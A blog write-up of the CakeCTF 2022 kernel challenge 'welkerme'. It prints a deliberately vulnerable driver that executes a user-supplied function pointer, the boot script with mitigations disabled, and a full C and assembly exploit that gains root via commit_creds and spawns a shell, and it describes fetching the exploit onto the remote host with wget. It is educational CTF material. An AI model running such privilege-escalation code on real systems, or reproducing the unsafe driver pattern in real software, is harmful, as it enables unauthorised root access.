Home CakeCTF-22 Pwn welkerme
Post
Cancel

CakeCTF-22 Pwn welkerme

Challenge Overview

welkerme is a basic introduction to kernel exploitation type of CTF challenge, the challenge files provided itself have so much information to solve the challenge.

Challenge Files

We are given linux kernel bzImage, a fs and a vulnerable driver installed in it along with its source code. We are also given scripts to launch the kernel in qemu in debug and normal mode

The Vulnerable Driver

Here’s the source code of the vulnerable driver -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/random.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("welkerme - CakeCTF 2022");

#define DEVICE_NAME "welkerme"
#define CMD_ECHO 0xc0de0001
#define CMD_EXEC 0xc0de0002

static int module_open(struct inode *inode, struct file *filp) {
  printk("'module_open' called\n");
  return 0;
}

static int module_close(struct inode *inode, struct file *filp) {
  printk("'module_close' called\n");
  return 0;
}

static long module_ioctl(struct file *filp,
                         unsigned int cmd,
                         unsigned long arg) {
  long (*code)(void);
  printk("'module_ioctl' called with cmd=0x%08x\n", cmd);

  switch (cmd) {
    case CMD_ECHO:
      printk("CMD_ECHO: arg=0x%016lx\n", arg);
      return arg;

    case CMD_EXEC:
      printk("CMD_EXEC: arg=0x%016lx\n", arg);
      code = (long (*)(void))(arg);
      return code();

    default:
      return -EINVAL;
  }
}

static struct file_operations module_fops = {
  .owner   = THIS_MODULE,
  .open    = module_open,
  .release = module_close,
  .unlocked_ioctl = module_ioctl
};

static dev_t dev_id;
static struct cdev c_dev;

static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME))
    return -EBUSY;

  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;

  if (cdev_add(&c_dev, dev_id, 1)) {
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }

  return 0;
}

static void __exit module_cleanup(void)
{
  cdev_del(&c_dev);
  unregister_chrdev_region(dev_id, 1);
}

module_init(module_initialize);
module_exit(module_cleanup);

We see that the device driver exposes an ioctl interface that we can interact with in userspace. The ioctl interface deals with 2 commands one that echos back the argument provided and one that takes the argument provided as function pointer and calls it. The author has also written a helper program that shows how to interact with the device driver -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define CMD_ECHO 0xc0de0001
#define CMD_EXEC 0xc0de0002

int func(void) {
  return 31337;
}

int main(void) {
  int fd, ret;

  if ((fd = open("/dev/welkerme", O_RDWR)) < 0) {
    perror("/dev/welkerme");
    exit(1);
  }

  ret = ioctl(fd, CMD_ECHO, 12345);
  printf("CMD_ECHO(12345) --> %d\n", ret);

  ret = ioctl(fd, CMD_EXEC, (long)func);
  printf("CMD_EXEC(func) --> %d\n", ret);

  close(fd);
  return 0;
}

When we run this we see the output -

1
2
CMD_ECHO(12345) --> 12345
CMD_EXEC(func) --> 31337

Mitigations

If we look at the scripts thats booting up the kernel in qemu -

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
exec qemu-system-x86_64 \
     -m 64M \
     -nographic \
     -kernel vm/bzImage \
     -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
     -no-reboot \
     -cpu qemu64 \
     -monitor /dev/null \
     -initrd vm/rootfs.cpio \
     -net nic,model=virtio \
     -net user

We see that there is no kaslr (its almost like ASLR but in kernel space) so symbols like prepare_kernel_cred and commit_creds have fixed address which we can use. There is no kpti so userspace and kernel space page tables are not isolated from each other, there’s also no SMEP and SMAP so userspace pages can be accessed and executed

Exploit Plan

The challenge can be simply solved by passing an address of a function that calls commit_creds(prepare_kernel_cred(0)) and returns back to userspace from where we can execute a shell or read the flag from the calling process

Exploit

I took a lot of code from lkmidas post which was linked in the README of the challenge and created this exploit -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define CMD_ECHO 0xc0de0001
#define CMD_EXEC 0xc0de0002

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved state");
}
void get_shell(void){
    puts("[*] Returned to userland");
    if (getuid() == 0){
        printf("[*] UID: %d, got root!\n", getuid());
        system("/bin/sh");
    } else {
        printf("[!] UID: %d, didn't get root\n", getuid());
        exit(-1);
    }
}

unsigned long user_rip = (unsigned long)get_shell;

void escalate_privs(void){
    __asm__(
        ".intel_syntax noprefix;"
        "movabs rax, 0xffffffff810726e0;" //prepare_kernel_cred
        "xor rdi, rdi;"
	    "call rax; mov rdi, rax;"
	    "movabs rax, 0xffffffff81072540;" //commit_creds
	    "call rax;"
        "swapgs;"
        "mov r15, user_ss;"
        "push r15;"
        "mov r15, user_sp;"
        "push r15;"
        "mov r15, user_rflags;"
        "push r15;"
        "mov r15, user_cs;"
        "push r15;"
        "mov r15, user_rip;"
        "push r15;"
        "iretq;"
        ".att_syntax;"
    );
}

int main(void) {
  save_state();
  int fd, ret;

  if ((fd = open("/dev/welkerme", O_RDWR)) < 0) {
    perror("/dev/welkerme");
    exit(1);
  }
  ret = ioctl(fd,CMD_EXEC,(long)escalate_privs);
  close(fd);
  return 0;
}

I copied the save_state() function from that post this is called to save some register values which would be needed afterwards to return to userspace. We then open the device and call the ioctl method to call our escalate_privs function which basically calls commit_creds(prepare_kernel_cred(0)), I found the address of these functions in the debug build by grepping on /proc/kallsyms. We then return to userspace by setting back some registers that we saved already and calling iretq, here we also set the returning instruction pointer to a function which exectues the shell for us. Upon executing this exploit we get a shell with root priviliges, as commit_creds(prepare_kernel_cred(0)) made the calling process have root priviliges

Remote

In order to execute this exploit we just need to do another step that is host our exploit on a server or there’s another way the author provided which is to host it on termbin or sprunge which are like pastebin from terminal. Once hosted we can just wget them on the remote server and then execute them

This post is licensed under CC BY 4.0 by the author.